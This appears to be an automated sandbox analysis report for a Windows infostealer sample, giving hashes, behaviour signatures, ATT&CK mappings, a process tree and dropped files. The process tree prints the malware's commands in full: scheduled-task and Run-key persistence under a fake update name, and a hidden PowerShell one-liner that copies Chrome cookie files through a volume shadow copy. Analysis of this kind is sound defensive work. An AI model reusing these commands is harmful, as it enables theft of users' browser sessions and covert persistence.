Analysis
- max time kernel
149s - max time network
124s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/08/2026, 16:17
Behavioral task
behavioral1
Sample
2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe
Resource
win11ltsc2024-20260710-en
General
- Target 2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe
- Size 129.1MB
- Sample260804-tree4saj7w
- SHA256 c8346caac436c1deae52517679e4682811a26e721888b800d6d21ceb042476b5
- MD5 2f5492ece9559b83ed9136640c866fa7
- SHA1 f717ebd63327c12c1d8cfbc73dd4a3222a25ae15
- SHA512 7a7ff27a9b3631fa23eb3bde9fab44da04409203424b2d2106e89801bda48fbe2af72a551523ffcb9411a87a4a5ec389d7d885fe44e705d3b28f6532facdcc36
- SSDEEP 24576:qPqSZX6LfpAZYtth1+VszndApmGv5NOriQWTdvvmi6p:kqSZX6LfVEVJV50l
- TLSH T19A589E57B6A800E8D0A7C178CE565607E7B2780513709BDF16D48AEA6F23EE11F7E720
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 564 powershell.exe 4124 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 4572 WinUpdateAssistant.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdateAssistant = "C:\\Users\\Admin\\AppData\\Roaming\\MicrosoftUpdate\\WinUpdateAssistant.exe" 2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe Set value (str) \REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdateAssistant = "C:\\Users\\Admin\\AppData\\Roaming\\MicrosoftUpdate\\WinUpdateAssistant.exe" WinUpdateAssistant.exe - Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\hermes_debug.log WinUpdateAssistant.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2872 cmd.exe 5008 cmd.exe 2044 cmd.exe 3516 cmd.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5052 schtasks.exe 372 schtasks.exe - Suspicious behavior: EnumeratesProcesses 20 IoCs
pid Process 4168 2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe 4168 2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe 4168 2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe 4168 2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe 4168 2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe 4168 2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe 564 powershell.exe 564 powershell.exe 4168 2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe 4168 2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe 4572 WinUpdateAssistant.exe 4572 WinUpdateAssistant.exe 4572 WinUpdateAssistant.exe 4572 WinUpdateAssistant.exe 4572 WinUpdateAssistant.exe 4572 WinUpdateAssistant.exe 4124 powershell.exe 4124 powershell.exe 4572 WinUpdateAssistant.exe 4572 WinUpdateAssistant.exe - Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 4168 2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe Token: SeDebugPrivilege 4168 2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe Token: SeDebugPrivilege 564 powershell.exe Token: SeBackupPrivilege 4104 vssvc.exe Token: SeRestorePrivilege 4104 vssvc.exe Token: SeAuditPrivilege 4104 vssvc.exe Token: 35 2044 cmd.exe Token: SeDebugPrivilege 4572 WinUpdateAssistant.exe Token: SeDebugPrivilege 4572 WinUpdateAssistant.exe Token: SeDebugPrivilege 4124 powershell.exe Token: 35 2872 cmd.exe - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 4168 wrote to memory of 5008 4168 2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe 86 PID 5008 wrote to memory of 5052 5008 cmd.exe 88 PID 4168 wrote to memory of 1528 4168 2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe 89 PID 4168 wrote to memory of 564 4168 2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe 92 PID 564 wrote to memory of 2044 564 powershell.exe 103 PID 564 wrote to memory of 4248 564 powershell.exe 104 PID 4572 wrote to memory of 3516 4572 WinUpdateAssistant.exe 108 PID 3516 wrote to memory of 372 3516 cmd.exe 110 PID 4572 wrote to memory of 1148 4572 WinUpdateAssistant.exe 111 PID 4572 wrote to memory of 4124 4572 WinUpdateAssistant.exe 113 PID 4124 wrote to memory of 2872 4124 powershell.exe 116 PID 4124 wrote to memory of 1852 4124 powershell.exe 117 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe"1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4168 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "WinUpdateAssistant" /tr "C:\Users\Admin\AppData\Roaming\MicrosoftUpdate\WinUpdateAssistant.exe" /sc hourly /mo 1 /F2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5008 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdateAssistant" /tr "C:\Users\Admin\AppData\Roaming\MicrosoftUpdate\WinUpdateAssistant.exe" /sc hourly /mo 1 /F3⤵
- Scheduled Task/Job: Scheduled Task
PID:5052
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C:\Windows\SYSTEM32\esentutl.exeesentutl.exe /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-wal" /d "C:\Users\Admin\AppData\Local\Temp\ck_240673531.db-wal" /o2⤵PID:1528
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue';$class=[WMICLASS]'Win32_ShadowCopy';$result=$class.Create('C:\','ClientAccessible');$id=$result.ShadowID;if($id){$shadow=Get-WmiObject Win32_ShadowCopy|Where-Object{$_.ID -eq $id};$device=$shadow.DeviceObject;$link='C:\__vss_' + [System.IO.Path]::GetRandomFileName() + '__';cmd /c mklink /d $link ($device+'\') 2>$null;Copy-Item -Path ($link+'\'+'Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-wal') -Destination 'C:\Users\Admin\AppData\Local\Temp\ck_240673531.db-wal' -Force;Copy-Item -Path ($link+'\'+'Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-wal-wal') -Destination 'C:\Users\Admin\AppData\Local\Temp\ck_240673531.db-wal-wal' -Force;cmd /c rmdir $link 2>$null;$shadow.Delete();}"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:564 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c mklink /d C:\__vss_b1l3bejj.1sx__ \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\3⤵
- Executes a command shell one-liner
- Suspicious use of AdjustPrivilegeToken
PID:2044
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c rmdir C:\__vss_b1l3bejj.1sx__3⤵PID:4248
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C:\Users\Admin\AppData\Roaming\MicrosoftUpdate\WinUpdateAssistant.exeC:\Users\Admin\AppData\Roaming\MicrosoftUpdate\WinUpdateAssistant.exe1⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4572 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "WinUpdateAssistant" /tr "C:\Users\Admin\AppData\Roaming\MicrosoftUpdate\WinUpdateAssistant.exe" /sc hourly /mo 1 /F2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3516 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdateAssistant" /tr "C:\Users\Admin\AppData\Roaming\MicrosoftUpdate\WinUpdateAssistant.exe" /sc hourly /mo 1 /F3⤵
- Scheduled Task/Job: Scheduled Task
PID:372
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C:\Windows\system32\esentutl.exeesentutl.exe /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-wal" /d "C:\Users\Admin\AppData\Local\Temp\ck_240680062.db-wal" /o2⤵PID:1148
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue';$class=[WMICLASS]'Win32_ShadowCopy';$result=$class.Create('C:\','ClientAccessible');$id=$result.ShadowID;if($id){$shadow=Get-WmiObject Win32_ShadowCopy|Where-Object{$_.ID -eq $id};$device=$shadow.DeviceObject;$link='C:\__vss_' + [System.IO.Path]::GetRandomFileName() + '__';cmd /c mklink /d $link ($device+'\') 2>$null;Copy-Item -Path ($link+'\'+'Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-wal') -Destination 'C:\Users\Admin\AppData\Local\Temp\ck_240680062.db-wal' -Force;Copy-Item -Path ($link+'\'+'Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-wal-wal') -Destination 'C:\Users\Admin\AppData\Local\Temp\ck_240680062.db-wal-wal' -Force;cmd /c rmdir $link 2>$null;$shadow.Delete();}"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4124 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c mklink /d C:\__vss_uqwtmnhm.o44__ \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\3⤵
- Executes a command shell one-liner
- Suspicious use of AdjustPrivilegeToken
PID:2872
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c rmdir C:\__vss_uqwtmnhm.o44__3⤵PID:1852
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4104
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
- MD5 6cf293cb4d80be23433eecf74ddb5503
- SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
- SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
- TLSH T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 64B
- SHA256 a7c8911da3f205242a8ea8e1dd92fc099a15d8bf1f10d93ada6590b5fa233299
- MD5 f55803d2ea7318220adcdf1ef6c1c024
- SHA1 1f0a92355a5770af89592207859209c21ca91531
- SHA512 b75725435aaaf0f4efb7dd70b25f5cb5c48508b4f6cf295d7c9bb5d4fb2bf03e91e5e6ef7a6b0a006ad0d45ed6986266ad8f3f4011a43decc9132ea70cf3df6d
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cg3qfmwk.h2d.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\hermes_debug.log
- Size 2KB
- SHA256 f2b59c9deefa12a65f758ee6287e5939e262fd0d2794560bd1e4c2215653c7fc
- MD5 7a3e61f05c533916b35473079d7720cd
- SHA1 0968b156b9e9c40532b8078996aef72e7ea64088
- SHA512 f462915a79b44daa3bf26774e9b4f6a7aba94c687e72181ba64661f5c73b3a09474a200c32b9a5a43e151c36160f7219a098bc4debbef20cccb4b109ee5b0626
- TLSH T1AD51896674FA657D4734B0636223B5EE7BE363527E0A1323BFF6800C1180817B5A61CA
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\hermes_debug.log
- Size 1KB
- SHA256 8eb0b0b4e96f06c18c331891fa56841c906c040731eaf7d015b1390af6023c8c
- MD5 d8ba6c7a9f0de6a43a4a2878469e83d8
- SHA1 047f8ede1338ef1b564d3271c78865d3a00dd523
- SHA512 616d9ff402a3d25ca7d3bc089d48d7351292f10edf8d2904128b4142ab6c19602e866221ff7f2f371712e86857dcc7cbed49c05407ed1cad37c9feab94e8cb9d
- TLSH T17F319A86B0F270BC5B75B0975117B6DE7FD39311BA5653633FFA800C214442BB5AA28A
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\hermes_debug.log
- Size 1KB
- SHA256 8c4c604ae43ab1caacb52eca30f5f5f9e801908747789c15307b95f7ef56f887
- MD5 2612276a6a86c17b032b19ae63f8bef7
- SHA1 2bade78b99c8dfc6b999f8cd4ec01bfcbeb25428
- SHA512 d88b6e04005be741a63bd7651a046a5b1a350214bf4c6da02bf28bbccfd747ae72adefdd3dc21d7573a9fb38b8405bf82318a68dd41318cfda20370f3e0d81f4
- TLSH T19E31778AB0F770BC4B35B0979117B5EE3FD39311BA5553237FF6800C2144817B5AA29A
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\hermes_debug.log
- Size 2KB
- SHA256 bf4eefb722f805690b05029bcaf6b90982edf686e17e5ff27e081847b824491d
- MD5 fd44d73d613abd35ac27a25cf71bf297
- SHA1 75253dc43cff700aa83ceb09729974bc71be576d
- SHA512 6c7e8db767dbac34c3529e1b8b29e609f777993347471a7780d30b0c1a1f344f68537bd3ceeb4978f809920595cc3df9c0930d81b1731bf3b9e4529e27e39c58
- TLSH T1C4518B6670FA657D4B74B0636223B5EE7BE363527E0A1333BFF6800C1184417B5A61CA
- MD5 SHA1 SHA512 TLSH